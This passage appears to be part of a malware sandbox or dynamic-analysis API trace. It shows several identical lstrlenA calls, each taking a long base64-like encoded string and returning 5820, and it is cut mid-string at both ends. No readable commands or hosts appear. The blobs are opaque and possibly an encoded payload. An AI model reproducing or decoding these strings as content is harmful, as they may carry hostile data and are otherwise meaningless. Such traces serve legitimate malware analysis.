DWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.629] lstrlenA (lpString="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") returned 5820
	[0084.629] lstrlenA (lpString="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") returned 5820
	[0084.629] lstrlenA (lpString="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